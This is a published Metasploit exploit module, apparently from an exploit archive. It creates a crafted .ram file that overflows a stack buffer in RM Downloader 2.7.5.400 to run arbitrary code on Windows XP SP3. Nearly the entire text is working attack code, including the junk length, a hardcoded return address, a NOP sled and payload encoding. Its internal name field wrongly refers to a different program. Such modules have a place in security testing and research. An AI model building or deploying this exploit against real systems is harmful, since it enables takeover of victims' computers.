RM Downloader 2.7.5.400 – Local Buffer Overflow (Metasploit)
### #[+] Author: TUNISIAN CYBER #[+] Exploit Title: RM Downloader v2.7.5.400 Local Buffer Overflow (MSF) #[+] Date: 25-03-2015 #[+] Type: Local Exploits #[+] Tested on: WinXp/Windows 7 Pro #[+] Vendor: http://software-files-a.cnet.com/s/software/10/65/60/49/Mini-streamRM-MP3Converter.exe?token=1427318981_98f71d0e10e2e3bd2e730179341feb0a&fileName=Mini-streamRM-MP3Converter.exe #[+] Twitter: @TCYB3R ## ## # $Id: rmdownloader_bof.rb 2015-04-01 03:03 TUNISIAN CYBER $ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Free MP3 CD Ripper 1.1 Local Buffer Overflow Exploit', 'Description' => %q{ This module exploits a stack buffer overflow in RM Downloader v2.7.5.400 creating a specially crafted .ram file, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'TUNISIAN CYBER', # Original 'TUNISIAN CYBER' # MSF Module ], 'Version' => 'Version 2.7.5.400', 'References' => [ [ 'URL', 'https://www.exploit-db.com/exploits/36502/' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x0a\x0d", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP-SP3 (EN)', { 'Ret' => 0x7C9D30D7} ] ], 'Privileged' => false, 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.ram']), ], self.class) end def exploit sploit = rand_text_alphanumeric(35032) # Buffer Junk sploit << [target.ret].pack('V') sploit << make_nops(4) sploit << payload.encoded tc = sploit print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(tc) end end |